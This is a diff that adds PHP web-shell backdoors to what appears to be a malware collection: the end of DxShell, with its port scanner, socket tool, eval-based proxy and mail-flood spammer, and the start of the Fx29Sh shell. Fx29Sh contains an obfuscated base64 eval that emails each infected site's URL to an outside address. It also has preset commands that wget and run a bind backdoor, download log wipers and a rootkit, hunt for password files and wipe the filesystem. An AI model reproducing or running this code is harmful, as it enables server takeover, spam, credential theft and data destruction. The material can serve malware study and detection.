+ for ($i=0;$i<count($TOSCAN);$i++) + { + $cur_port=&$TOSCAN[$i]; + $fp=@fsockopen($_POST['dxportscan']['host'], $cur_port, $e, $e, (float)$_POST['dxportscan']['timeout']); + if ($fp) + { + $OKAY_PORTS++; + $port_name=''; + if (isset($DEF_PORTS[$cur_port])) $port_name=$DEF_PORTS[$cur_port]; + print "\n".'<tr><td width=50 class=listing style="text-align:right;">'.$cur_port.'</td><td class=listing>'.$port_name.'</td><td class=listing>'.getservbyport($cur_port, 'tcp').'</td></tr>'; + } + } + list($usec, $sec) = explode(' ', microtime()); + $end=(float)$usec + (float)$sec; + + print "\n".'</table>'; + print "\n".'<font class="highlight_txt">Scanned '.count($TOSCAN).', '.$OKAY_PORTS.' opened. Time: '.($end-$start).'</font>'; + print "\n".'<br><hr>'."\n"; + } + + print "\n".'<form action="'.DxURL('leave', '').'" method=POST>'; + print "\n".'<table border=0>' + .'<tr>' + .'<td colspan=2>' + .'<input type=text name="dxportscan[host]" value="'.((isset($_POST['dxportscan']['host']))?$_POST['dxportscan']['host'].'"':'127.0.0.1"').' SIZE=30>' + .'<input type=text name="dxportscan[timeout]" value="'.((isset($_POST['dxportscan']['timeout']))?$_POST['dxportscan']['timeout'].'"':'0.1"').' SIZE=10>' + .'</tr><tr>' + .'<td><textarea name="dxportscan[ports]" rows=3 cols=50>'.((isset($_POST['dxportscan']['ports']))?$_POST['dxportscan']['ports']:'21-25,35,80,3306').'</textarea>' + .'</td><td>' + .'<input type=checkbox name="dxportscan[ports]" value="#default"><a '.DxDesign_DrawBubbleBox('', 'To learn out what "main ports" are, click here', 300).' href="'.DxURL('kill','dxparam').'&dxparam=main_legend">#Scan main</a>' + .'<br><input type=submit value="Scan" class="submit" style="width:100pt;">' + .'</tr></table></form>'; + } + +######## +######## Raw s0cket +######## +if ($_GET['dxmode']=='SOCK') + { + $DEFQUERY=DxHTTPMakeHeaders('GET', '/index.php?get=q&get2=d', 'www.microsoft.com', 'DxS Browser', 'http://referer.com/', array('post_val' => 'Yeap'), array('cookiename' => 'val')); + print "\n".'<form action="'.DxURL('leave', '').'" method=POST>'; + print "\n".'<table width=100% cellspacing=0 celpadding=0>'; + print "\n".'<tr><td class=linelisting colspan=2 width=100%><input type=text name="dxsock_host" value="'.( (isset($_POST['dxsock_host'])?$_POST['dxsock_host']:'www.microsoft.com') ).'" style="width:100%;">'; + print "\n".'</td><td class=linelisting><nobr><input type=text name="dxsock_port" value="'.( (isset($_POST['dxsock_port'])?$_POST['dxsock_port']:'80') ).'" SIZE=10>' + .' timeout <input type=text name="dxsock_timeout" value="'.( (isset($_POST['dxsock_timeout'])?$_POST['dxsock_timeout']:'1.0') ).'" SIZE=4></td></tr>'; + print "\n".'<tr><td class=linelisting colspan=3>' + .'<textarea ROWS=15 name="dxsock_request" style="width:100%;">'.( (isset($_POST['dxsock_request'])?$_POST['dxsock_request']:$DEFQUERY) ).'</textarea>' + .'</td></tr>'; + print "\n".'<tr>' + .'<td class=linelisting width=50pt><input type=radio name="dxsock_type" value="HTML" '.( (isset($_POST['dxsock_type'])? (($_POST['dxsock_type']=='HTML')?'CHECKED':'') :'CHECKED') ).'>HTML</td>' + .'<td class=linelisting width=50pt><input type=radio name="dxsock_type" value="TEXT" '.( (isset($_POST['dxsock_type'])? (($_POST['dxsock_type']=='TEXT')?'CHECKED':'') :'') ).'>TEXT</td>' + .'<td class=linelisting width=100%><div align=right><input type=submit class=submit value="Send" style="width:100pt;height:20pt;"></td>' + .'</tr>'; + print "\n".'</table>'; + + if (!isset($_POST['dxsock_host'], $_POST['dxsock_port'], $_POST['dxsock_timeout'], $_POST['dxsock_request'], $_POST['dxsock_type'])) die(); + + print "\n".'<table width=100% cellspacing=0 celpadding=0>'; + print "\n".'<tr><td class=listing><pre><font class=highlight_txt>'.$_POST['dxsock_request'].'</font></pre></td></tr>'; + print "\n\n\n".'<tr><td class=listing>'; + + $fp=@fsockopen($_POST['dxsock_host'], $_POST['dxsock_port'], $errno, $errstr, (float)$_POST['dxsock_timeout']); + if (!$fp) die(DxError('Sock #'.$errno.' : '.$errstr)); + + if ($_POST['dxsock_type']=='TEXT') print '<plaintext>'; + + if (!empty($_POST['dxsock_request'])) fputs($fp, $_POST['dxsock_request']); + $ret=''; + while (!feof($fp)) $ret.=fgets($fp, 4096 ); + fclose( $fp ); + + if ($_POST['dxsock_type']=='HTML') $headers_over_place=strpos($ret,"\r\n\r\n"); else $headers_over_place=FALSE; + + if ($headers_over_place===FALSE) print $ret; + else print '<pre>'.substr($ret, 0, $headers_over_place).'</pre><br><hr><br>'.substr($ret, $headers_over_place); + + if ($_POST['dxsock_type']=='HTML') print "\n".'</td></tr></table>'; + } + +######## +######## FTP, HTTP file transfers +######## +if ($_GET['dxmode']=='FTP') + { + print "\n".'<table align=center width=100%><col span=3 align=right width=33%><tr><td align=center><font class="highlight_txt"><b>HTTP Download</td><td align=center><font class="highlight_txt"><b>FTP Download</td><td align=center><font class="highlight_txt"><b>FTP Upload</td></tr>'; + + print "\n".'<tr><td>'; /* HTTP GET */ + print "\n\t".'<form action="'.DxURL('leave', '').'" method=POST>'; + print "\n\t".'<input type=text name="DxFTP_HTTP" value="http://" style="width:100%;">'; + print "\n\t".'<input type=text name="DxFTP_FileTO" value="'.((isset($_GET['dxdir'])?$_GET['dxdir']:DxFileOkaySlashes(realpath($GLOB['FILES']['CurDIR'])))).'/file.txt" style="width:100%;">'; + print "\n\t".'<input type=submit value="GET!" style="width:150pt;" class=submit></form>'; + print "\n".'</td><td>'; /* FTP DOWNL */ + print "\n\t".'<form action="'.DxURL('leave', '').'" method=POST>'; + print "\n\t".'<input type=text name="DxFTP_FTP" value="ftp.host.com[:21]" style="width:100%;">'; + print "\n\t".'<nobr><b>Login:<input type=text name="DxFTP_USER" value="Anonymous" style="width:40%;"> / <input type=text name="DxFTP_PASS" value="" style="width:40%;"></b></nobr>'; + print "\n\t".'<input type=text name="DxFTP_FileOF" value="get.txt" style="width:100%;">'; + print "\n\t".'<input type=text name="DxFTP_FileTO" value="'.((isset($_GET['dxdir'])?$_GET['dxdir']:DxFileOkaySlashes(realpath($GLOB['FILES']['CurDIR'])))).'/" style="width:100%;">'; + print "\n\t".'<br><nobr><input type=checkbox name="DxFTP_File_BINARY" value="YES">Enable binary mode</nobr>'; + print "\n\t".'<input type=submit name="DxFTP_DWN" value="Download!" style="width:150pt;" class=submit></form>'; + print "\n".'</td><td>'; /* FTP UPL */ + print "\n\t".'<form action="'.DxURL('leave', '').'" method=POST>'; + print "\n\t".'<input type=text name="DxFTP_FTP" value="ftp.host.com[:21]" style="width:100%;">'; + print "\n\t".'<nobr><b>Login:<input type=text name="DxFTP_USER" value="Anonymous" style="width:40%;"> / <input type=text name="DxFTP_PASS" value="" style="width:40%;"></b></nobr>'; + print "\n\t".'<input type=text name="DxFTP_FileOF" value="'.((isset($_GET['dxdir'])?$_GET['dxdir']:DxFileOkaySlashes(realpath($GLOB['FILES']['CurDIR'])))).'/file.txt'.'" style="width:100%;">'; + print "\n\t".'<input type=text name="DxFTP_FileTO" value="put.txt" style="width:100%;">'; + print "\n\t".'<br><nobr><input type=checkbox name="DxFTP_File_BINARY" value="YES">Enable binary mode</nobr>'; + print "\n\t".'<input type=submit name="DxFTP_UPL" value="Upload!" style="width:150pt;" class=submit></form>'; + print "\n".'</td></tr></table>'; + + if (isset($_POST['DxFTP_HTTP'])) + { + $URLPARSED=parse_url($_POST['DxFTP_HTTP']); + $request=DxHTTPMakeHeaders('GET', $URLPARSED['path'].'?'.$URLPARSED['query'], $URLPARSED['host']); + if (!($f=@fsockopen($URLPARSED['host'], (empty($URLPARSED['port']))?80:$URLPARSED['port'], $errno, $errstr, 10))) die(DxError('Sock #'.$errno.' : '.$errstr)); + fputs($f, $request); + + $GETFILE=''; + while (!feof($f)) $GETFILE.=fgets($f, 4096 ); + fclose( $f ); + + DxFiles_UploadHere($_POST['DxFTP_FileTO'], '', $GETFILE); + } + + if (isset($_POST['DxFTP_DWN']) OR isset($_POST['DxFTP_UPL'])) + { + $DxFTP_SERV=explode(':',$_POST['DxFTP_FTP']); + if(empty($DxFTP_SERV[1])) {$DxFTP_SERV=$DxFTP_SERV[0]; $DxFTP_PORT = 21;} else {$DxFTP_SERV=$DxFTP_SERV[0]; $DxFTP_PORT = (int)$DxFTP_SERV[1];} + if (!($FTP=ftp_connect($DxFTP_SERV,$DxFTP_PORT,10))) die(DxError('No connection')); + if (!ftp_login($FTP, $_POST['DxFTP_USER'], $_POST['DxFTP_PASS'])) die(DxError('Login failed')); + if (isset($_POST['DxFTP_UPL'])) + if (!ftp_put($FTP, $_POST['DxFTP_FileTO'],$_POST['DxFTP_FileOF'], (isset($_POST['DxFTP_File_BINARY']))?FTP_BINARY:FTP_ASCII)) + die(DxError('Failed to upload')); else print 'Upload OK'; + if (isset($_POST['DxFTP_DWN'])) + if (!ftp_get($FTP, $_POST['DxFTP_FileTO'],$_POST['DxFTP_FileOF'], (isset($_POST['DxFTP_File_BINARY']))?FTP_BINARY:FTP_ASCII)) + die(DxError('Failed to download')); else print 'Download OK'; + ftp_close($FTP); + } + } + +######## +######## HTTP Proxy +######## +if ($_GET['dxmode']=='PROX') + { + print "\n\t".'<form action="'.DxURL('leave', '').'" method=POST>'; + print "\n".'<table width=100% cellspacing=0>'; + print "\n".'<tr><td width=100pt class=linelisting>URL</td><td><input type=text name="DxProx_Url" value="'.(isset($_POST['DxProx_Url'])?$_POST['DxProx_Url']:'http://www.microsoft.com:80/index.php?get=q&get2=d').'" style="width:100%;"></td></tr>'; + print "\n".'<tr><td width=100pt colspan=2 class=linelisting><nobr>Browser <input type=text name="DxProx_Brw" value="'.(isset($_POST['DxProx_Brw'])?$_POST['DxProx_Brw']:'DxS Browser').'" style="width:40%;">' + .' Referer <input type=text name="DxProx_Ref" value="'.(isset($_POST['DxProx_Ref'])?$_POST['DxProx_Ref']:'http://www.ref.ru/').'" style="width:40%;"></td></tr>'; + print "\n".'<tr><td width=100pt class=linelisting><nobr>POST (php eval)</td><td><input type=text name="DxProx_PST" value="'.(isset($_POST['DxProx_PST'])?$_POST['DxProx_PST']:'array(\'post_val\' => \'Yeap\')').'" style="width:100%;"></td></tr>'; + print "\n".'<tr><td width=100pt class=linelisting><nobr>COOKIES (php eval)</td><td><input type=text name="DxProx_CKI" value="'.(isset($_POST['DxProx_CKI'])?$_POST['DxProx_CKI']:'array(\'cookiename\' => \'val\')').'" style="width:100%;"></td></tr>'; + print "\n".'<tr><td colspan=2><input type=submit value="Go" class=submit style="width:100%;">'; + print "\n".'</td></tr></table></form>'; + + if (!isset($_POST['DxProx_Url'])) die(); + + print str_repeat("\n", 10).'<!-- DxS Proxy Browser -->'."\n\n"; + + if (empty($_POST['DxProx_PST'])) $_POST['DxProx_PST']=array(); + else {if (eval('$_POST[\'DxProx_PST\']='.$_POST['DxProx_PST'].';')===FALSE) $_POST['DxProx_PST']=array();} + if (empty($_POST['DxProx_CKI'])) $_POST['DxProx_CKI']=array(); + else {if (eval('$_POST[\'DxProx_CKI\']='.$_POST['DxProx_CKI'].';')===FALSE) $_POST['DxProx_CKI']=array();} + + $URLPARSED=parse_url($_POST['DxProx_Url']); + $request=DxHTTPMakeHeaders('GET', (empty($URLPARSED['path'])?'/':$URLPARSED['path']).(!empty($URLPARSED['query'])?'?'.$URLPARSED['query']:''), $URLPARSED['host'], $_POST['DxProx_Brw'], $_POST['DxProx_Ref'], $_POST['DxProx_PST'], $_POST['DxProx_CKI']); + if (!($f=@fsockopen($URLPARSED['host'], (empty($URLPARSED['port']))?80:$URLPARSED['port'], $errno, $errstr, 10))) + die(DxError('Sock #'.$errno.' : '.$errstr)); + fputs($f, $request); + + $RET=''; + while (!feof($f)) $RET.=fgets($f, 4096 ); + fclose( $f ); + + print "\n".'<table width=100% border=0><tr><td>'; + $headers_over_place=strpos($RET,"\r\n\r\n"); + if ($headers_over_place===FALSE) print $RET; + else + print '<pre><font class=highlight_txt>'.substr($RET, 0, $headers_over_place).'</font></pre><br><hr><br>'.substr($RET, $headers_over_place); + print str_repeat("\n", 10).'</td></tr></table>'; + } + +######## +######## MAIL +######## +if ($_GET['dxmode']=='MAIL') + { + if (!isset($_GET['dxparam'])) + { + print ''; + print "\n".'<form action="'.DxURL('kill', '').'" method=GET style="display:inline;">'; + DxGETinForm('leave', ''); + print "\n".'<input type=submit name="dxparam" value="SPAM" style="position: absolute; width: 30%; left: 10%;">' + .'<font class=highlight_txt style="position:absolute;left:46.5%;">: MAIL mode :</font>' + .'<input type=submit name="dxparam" value="FLOOD" style="position: absolute; width: 30%; right: 10%;">'; + print "\n".'</form>'; + die();} + + if (ini_get('sendmail_path')=='') DxWarning('php.ini "sendmail_path" is empty! ('.var_export(ini_get('sendmail_path'), true).')'); + print "\n\t".'<form action="'.DxURL('leave', '').'" method=POST>'; + print "\n".'<table width=100% cellspacing=0 width=90% align=center><col width=100pt>'; + if ($_GET['dxparam']=='FLOOD') + { + print "\n".'<tr><td class=linelisting><b>TO: </td><td><input type=text name="DxMailer_TO" style="width:100%;" value="'.( (empty($_POST['DxMailer_TO']))?'tristam@mail.ru':$_POST['DxMailer_TO'] ).'"></td></tr>'; + print "\n".'<tr><td class=linelisting><b>NUM FLOOD: </td><td><input type=text name="DxMailer_NUM" value="'.( (empty($_POST['DxMailer_NUM']))?'1000':$_POST['DxMailer_NUM'] ).'" SIZE=10></td></tr>'; + } + else + print "\n".'<tr><td class=linelisting><b>TO: </td><td><textarea name="DxMailer_TO" rows=10 style="width:100%;">'.( (empty($_POST['DxMailer_TO']))?'tristam@mail.ru'."\n".'billy@microsoft.com':$_POST['DxMailer_TO'] ).'</textarea></td></tr>'; + print "\n".'<tr><td class=linelisting><b>FROM: </td><td><input type=text name="DxMailer_FROM" value="'.( (empty($_POST['DxMailer_FROM']))?'DxS <admin@'.$_SERVER['HTTP_HOST']:$_POST['DxMailer_FROM'] ).'>" style="width:100%;"></td></tr>'; + print "\n".'<tr><td class=linelisting><b>SUBJ: </td><td><input type=text name="DxMailer_SUBJ" style="width:100%;" value="'.( (empty($_POST['DxMailer_SUBJ']))?'Look here, man...':$_POST['DxMailer_SUBJ'] ).'"></td></tr>'; + print "\n".'<tr><td class=linelisting><b>MSG: </td><td><textarea name="DxMailer_MSG" rows=5 style="width:100%;">'.( (empty($_POST['DxMailer_MSG']))?'<html><body><b>Wanna be butchered?':$_POST['DxMailer_MSG'] ).'</textarea></td></tr>'; + print "\n".'<tr><td class=linelisting colspan=2><div align=center><input type=submit Value="'.$_GET['dxparam'].'" class=submit style="width:70%;"></tr>'; + print "\n".'</td></table></form>'; + + if (!isset($_POST['DxMailer_TO'])) die(); + + $HEADERS=''; + $HEADERS.= 'MIME-Version: 1.0'."\r\n"; + $HEADERS.= 'Content-type: text/html;'."\r\n"; + $HEADERS.='To: %%TO%%'."\r\n"; + $HEADERS.='From: '.$_POST['DxMailer_FROM']."\r\n"; + $HEADERS.='X-Originating-IP: [%%IP%%]'."\r\n"; + $HEADERS.='X-Mailer: DxS v'.$GLOB['SHELL']['Ver'].' Mailer'."\r\n"; + $HEADERS.='Message-Id: <%%ID%%>'; + + if ($_GET['dxparam']=='FLOOD') + { + $NUM=$_POST['DxMailer_NUM']; + $MAILS=array($_POST['DxMailer_TO']); + } + else + { + $MAILS=explode("\n",str_replace("\r", '', $_POST['DxMailer_TO'])); + $NUM=1; + } + + function DxMail($t, $s, $m, $h) /* debugger */ + {print "\n\n\n<br><br><br>".$t."\n<br>".$s."\n<br>".$m."\n<br>".$h;} + + $RESULTS[]=array(); + + for ($n=0;$n<$NUM;$n++) + for ($m=0;$m<count($MAILS);$m++) + $RESULTS[]=(int) + mail($MAILS[$m], $_POST['DxMailer_SUBJ'], $_POST['DxMailer_MSG'], + str_replace(array('%%TO%%','%%IP%%', '%%ID%%'), + array('<'.$MAILS[$m].'>' , long2ip(mt_rand(0,pow(2,31))) , md5($n.$m.DxRandomChars(3).time())), + $HEADERS) + ); + + print "\n\n".'<br><br>'.array_sum($RESULTS).' mails sent ('.( (100*array_sum($RESULTS))/($NUM*(count($MAILS))) ).'% okay)'; + + } + +if ($DXGLOBALSHIT) print "\n\n\n".'<!--/SHIT KILLER--></TD></TR></TABLE>'; +die(); +?> + diff --git a/web-malware-collection-master/Backdoors/PHP/FaTaLisTiCz_Fx.txt b/web-malware-collection-master/Backdoors/PHP/FaTaLisTiCz_Fx.txt new file mode 100755 index 0000000..52be5b6 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/FaTaLisTiCz_Fx.txt @@ -0,0 +1,3107 @@ +<?php +####################################### +## FaTaLisTiCz_Fx Fx29Sh 2.0.09.08 ## +define('sh_ver',"2.0.09.08"); ## +## By FaTaLisTiCz_Fx ## +## � 03-09 2008 FeeLCoMz Community ## +## Written under PHP 5.2.5 ## +####################################### +$sh_name = sh_name(); ## +####################################### +#$sh_mainurl = "http://vidinas.net/templates/archzone/xml/cyberz.txt"; +$sh_mainurl = "http://vidinas.net/templates/archzone/xml/"; +$fx29sh_updateurl = $sh_mainurl."fx29sh_update.php"; +$fx29sh_sourcesurl = $sh_mainurl."fx29sh.txt"; +$sh_sourcez = array( + "Fx29Sh" => array($sh_mainurl."cyberz.txt","fx29sh.php"), + "psyBNC" => array($sh_mainurl."fx.tgz","fx.tgz"), + "Eggdrop" => array($sh_mainurl."fxb.tgz","fxb.tgz"), + "BindDoor" => array($sh_mainurl."bind.tgz","bind.tgz"), +); +##[ AUTHENTICATION ]## +$auth = array( + "login" => "", + "pass" => "", + "md5pass" => "", + "hostallow" => array("*"), + "denied" => "<a href=\"$sh_mainurl\">".$sh_name."</a>: access denied!", +); +##[ END AUTHENTICATION ]## +$curdir = "./"; +$tmpdir = ""; +$tmpdir_logs = "./"; +$log_email = "meister_onthelaw@yahoo.com"; +$sess_cookie = "fx29shcook"; +$sort_default = "0a"; #Pengurutan, 0 - nomor kolom. "a"scending atau "d"escending +$sort_save = TRUE; #Simpan posisi pengurutan menggunakan cookies. +$usefsbuff = TRUE; +$copy_unset = FALSE; #Hapus file yg telah di-copy setelah dipaste +$surl_autofill_include = TRUE; +$updatenow = FALSE; +$gzipencode = TRUE; +$filestealth = TRUE; #TRUE, tidak merubah waktu modifikasi dan akses. +$hexdump_lines = 8; +$hexdump_rows = 24; +$millink = milw0rm(); +$win = strtolower(substr(PHP_OS,0,3)) == "win"; +$disablefunc = getdisfunc(); +##[ END OF CONFIGS ]## +error_reporting(E_ERROR | E_PARSE); +@ini_set("max_execution_time",0); +@set_time_limit(0); #No Fx in SafeMode +@ignore_user_abort(TRUE); +@set_magic_quotes_runtime(0); +define("starttime",getmicrotime()); +if (get_magic_quotes_gpc()) { strips($GLOBALS); } +$_REQUEST = array_merge($_COOKIE,$_GET,$_POST); +@$f = $_REQUEST["f"]; +@extract($_REQUEST["fx29shcook"]); +foreach($_REQUEST as $k => $v) { if (!isset($$k)) { $$k = $v; } } +$fxbuff = "JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsNCmlmICgkdmlzaXRjID09ICIiKSB7DQogICR2aXNpdGMgID0gMDsNCiAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsNCiAgJHdlYiAgICAgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07DQogICRpbmogICAgID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogICR0YXJnZXQgID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7DQogICRqdWR1bCAgID0gIkZ4MjlTaGVsbCBodHRwOi8vJHRhcmdldCBieSAkdmlzaXRvciI7DQogICRib2R5ICAgID0gIkJ1ZzogJHRhcmdldCBieSAkdmlzaXRvcjxicj4iOw0KICBpZiAoIWVtcHR5KCR3ZWIpKSB7IEBtYWlsKCJmZWVsY29tekBnbWFpbC5jb20iLCRqdWR1bCwkYm9keSk7IH0NCn0NCmVsc2UgeyAkdmlzaXRjKys7IH0NCkBzZXRjb29raWUoInZpc2l0eiIsJHZpc2l0Yyk7"; eval(base64_decode($fxbuff)); +if ($surl_autofill_include) { + $include = "&"; + foreach (explode("&",getenv("QUERY_STRING")) as $v) { + $v = explode("=",$v); + $name = urldecode($v[0]); + $value = @urldecode($v[1]); + foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) { + if (strpos($value,$needle) === 0) { + $includestr .= urlencode($name)."=".urlencode($value)."&"; + } + } + } +} +if (empty($surl)) { + $surl = "?".$includestr; + $surl = htmlspecialchars($surl); +} +## FILE TYPES ## +$ftypes = array( + "html" => array("html","htm","shtml"), + "txt" => array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), + "exe" => array("sh","install","bat","cmd"), + "ini" => array("ini","inf","conf"), + "code" => array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), + "img" => array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), + "sdb" => array("sdb"), + "phpsess" => array("sess"), + "download" => array("exe","com","pif","src","lnk","zip","rar","gz","tar") +); +$exeftypes = array( + getenv("PHPRC")." -q %f%" => array("php","php3","php4"), + "perl %f%" => array("pl","cgi") +); +$regxp_highlight = array( + array(basename($_SERVER["PHP_SELF"]),1,"<font color=#FFFF00>","</font>"), + array("\.tgz$",1,"<font color=#C082FF>","</font>"), + array("\.gz$",1,"<font color=#C082FF>","</font>"), + array("\.tar$",1,"<font color=#C082FF>","</font>"), + array("\.bz2$",1,"<font color=#C082FF>","</font>"), + array("\.zip$",1,"<font color=#C082FF>","</font>"), + array("\.rar$",1,"<font color=#C082FF>","</font>"), + array("\.php$",1,"<font color=#00FF00>","</font>"), + array("\.php3$",1,"<font color=#00FF00>","</font>"), + array("\.php4$",1,"<font color=#00FF00>","</font>"), + array("\.jpg$",1,"<font color=#00FFFF>","</font>"), + array("\.jpeg$",1,"<font color=#00FFFF>","</font>"), + array("\.JPG$",1,"<font color=#00FFFF>","</font>"), + array("\.JPEG$",1,"<font color=#00FFFF>","</font>"), + array("\.ico$",1,"<font color=#00FFFF>","</font>"), + array("\.gif$",1,"<font color=#00FFFF>","</font>"), + array("\.png$",1,"<font color=#00FFFF>","</font>"), + array("\.htm$",1,"<font color=#00CCFF>","</font>"), + array("\.html$",1,"<font color=#00CCFF>","</font>"), + array("\.txt$",1,"<font color=#C0C0C0>","</font>") +); +## QUICK COMMANDS ## +if (!$win) { + $cmdaliases = array( + array("", "ls -al"), + array("Find all suid files", "find / -type f -perm -04000 -ls"), + array("Find suid files in current dir", "find . -type f -perm -04000 -ls"), + array("Find all sgid files", "find / -type f -perm -02000 -ls"), + array("Find sgid files in current dir", "find . -type f -perm -02000 -ls"), + array("Find config.inc.php files", "find / -type f -name config.inc.php"), + array("Find config* files", "find / -type f -name \"config*\""), + array("Find config* files in current dir", "find . -type f -name \"config*\""), + array("Find all writable folders and files", "find / -perm -2 -ls"), + array("Find all writable folders and files in current dir", "find . -perm -2 -ls"), + array("Find all writable folders", "find / -type d -perm -2 -ls"), + array("Find all writable folders in current dir", "find . -type d -perm -2 -ls"), + array("Find all service.pwd files", "find / -type f -name service.pwd"), + array("Find service.pwd files in current dir", "find . -type f -name service.pwd"), + array("Find all .htpasswd files", "find / -type f -name .htpasswd"), + array("Find .htpasswd files in current dir", "find . -type f -name .htpasswd"), + array("Find all .bash_history files", "find / -type f -name .bash_history"), + array("Find .bash_history files in current dir", "find . -type f -name .bash_history"), + array("Find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), + array("Find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), + array("List file attributes on a Linux second extended file system", "lsattr -va"), + array("Show opened ports", "netstat -an | grep -i listen") + ); + $cmdaliases2 = array( + array("wget & extract psyBNC","wget ".$sh_mainurl."fx.tgz;tar -zxf fx.tgz"), + array("wget & extract EggDrop","wget ".$sh_mainurl."fxb.tgz;tar -zxf fxb.tgz"), + array("-----",""), + array("Logged in users","w"), + array("Last to connect","lastlog"), + array("Find Suid bins","find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null"), + array("User Without Password","cut -d: -f1,2,3 /etc/passwd | grep ::"), + array("Can write in /etc/?","find /etc/ -type f -perm -o+w 2> /dev/null"), + array("Downloaders?","which wget curl w3m lynx fetch lwp-download"), + array("CPU Info","cat /proc/version /proc/cpuinfo"), + array("Is gcc installed ?","locate gcc"), + array("Format box (DANGEROUS)","rm -Rf"), + array("-----",""), + array("wget WIPELOGS PT1","wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c"), + array("gcc WIPELOGS PT2","gcc zap2.c -o zap2"), + array("Run WIPELOGS PT3","./zap2"), + array("-----",""), + array("wget RatHole 1.2 (Linux & BSD)","wget http://packetstormsecurity.org/UNIX/penetration/rootkits/rathole-1.2.tar.gz"), + array("wget & run BindDoor","wget ".$sh_mainurl."bind.tgz;tar -zxvf bind.tgz;./4877"), + array("wget Sudo Exploit","wget http://www.securityfocus.com/data/vulnerabilities/exploits/sudo-exploit.c"), + ); +} +else { + $cmdaliases = array( + array("", "dir"), + array("Find index.php in current dir", "dir /s /w /b index.php"), + array("Find *config*.php in current dir", "dir /s /w /b *config*.php"), + array("Find c99shell in current dir", "find /c \"c99\" *"), + array("Find r57shell in current dir", "find /c \"r57\" *"), + array("Find fx29shell in current dir", "find /c \"fx29\" *"), + array("Show active connections", "netstat -an"), + array("Show running services", "net start"), + array("User accounts", "net user"), + array("Show computers", "net view"), + ); +} +## PHP FILESYSTEM TRICKS (By FaTaLisTiCz_Fx) ## +$phpfsaliases = array( + array("Read File", "read", 1, "File", ""), + array("Write File (PHP5)", "write", 2, "File","Text"), + array("Copy", "copy", 2, "From", "To"), + array("Rename/Move", "rename", 2, "File", "To"), + array("Delete", "delete", 1 ,"File", ""), + array("Make Dir","mkdir", 1, "Dir", ""), + array("Download", "download", 2, "URL", "To"), + array("Download (Binary Safe)", "downloadbin", 2, "URL", "To"), + array("Change Perm (0755)", "chmod", 2, "File", "Perms"), + array("Find Writable Dir", "fwritabledir", 2 ,"Dir"), + array("Find Pathname Pattern", "glob",2 ,"Dir", "Pattern"), +); +## QUICK LAUNCH ## +$quicklaunch1 = array( + array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" border=\"0\">",$surl), + array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" border=\"0\">","#\" onclick=\"history.back(1)"), + array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" border=\"0\">","#\" onclick=\"history.go(1)"), + array("<img src=\"".$surl."act=img&img=up\" alt=\"Up\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"), + array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" border=\"0\">",$surl."act=search&d=%d"), + array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" border=\"0\">",$surl."act=fsbuff&d=%d") +); +$quicklaunch2 = array( + array("Security Info",$surl."act=security&d=%d"), + array("Processes",$surl."act=processes&d=%d"), + array("MySQL",$surl."act=sql&d=%d"), + array("Eval",$surl."act=eval&d=%d"), + array("Encoder",$surl."act=encoder&d=%d"), + array("Mailer",$surl."act=fxmailer"), + array("milw0rm",$millink), + array("Md5-Lookup","http://darkc0de.com/database/md5lookup.html"), + array("Toolz",$surl."act=tools&d=%d"), + array("Kill-Shell",$surl."act=selfremove"), + array("Feedback",$surl."act=feedback"), + array("Update",$surl."act=update"), + array("About",$surl."act=about") +); +if (!$win) { + $quicklaunch2[] = array("<br>FTP-Brute",$surl."act=ftpquickbrute&d=%d"); +} +## HIGHLIGHT CODE ## +$highlight_background = "#C0C0C0"; +$highlight_bg = "#FFFFFF"; +$highlight_comment = "#6A6A6A"; +$highlight_default = "#0000BB"; +$highlight_html = "#1300FF"; +$highlight_keyword = "#007700"; +$highlight_string = "#000000"; +#################### +##[ AUTHENTICATE ]## +#################### +$tmp = array(); +foreach ($auth["hostallow"] as $k => $v) { + $tmp[] = str_replace("\\*",".*",preg_quote($v)); +} +$s = "!^(".implode("|",$tmp).")$!i"; +if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) { + exit("<a href=\"$sh_mainurl\">$sh_name</a>: Access Denied - Your host (".getenv("REMOTE_ADDR").") not allowed"); +} +if (!empty($auth["login"])) { + if (empty($auth["md5pass"])) { $auth["md5pass"] = md5($auth["pass"]); } + if (($_SERVER["PHP_AUTH_USER"] != $auth["login"]) or (md5($_SERVER["PHP_AUTH_PW"]) != $auth["md5pass"])) { + header("WWW-Authenticate: Basic realm=\"".$sh_name.": Restricted Area\""); + header("HTTP/1.0 401 Unauthorized"); + die($auth["denied"]); + } +} +## END AUTHENTICATE ## + +if ($act != "img") { + $lastdir = realpath("."); + chdir($curdir); + if ($updatenow) { @ob_clean(); fx29sh_getupdate(1); exit; } + $sess_data = @unserialize($_COOKIE["$sess_cookie"]); + if (!is_array($sess_data)) { $sess_data = array(); } + if (!is_array($sess_data["copy"])) { $sess_data["copy"] = array(); } + if (!is_array($sess_data["cut"])) { $sess_data["cut"] = array(); } + fx29_buff_prepare(); + foreach (array("sort","sql_sort") as $v) { + if (!empty($_GET[$v])) {$$v = $_GET[$v];} + if (!empty($_POST[$v])) {$$v = $_POST[$v];} + } + if ($sort_save) { + if (!empty($sort)) {setcookie("sort",$sort);} + if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} + } + if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}} + if (!function_exists("posix_getgrgid") and 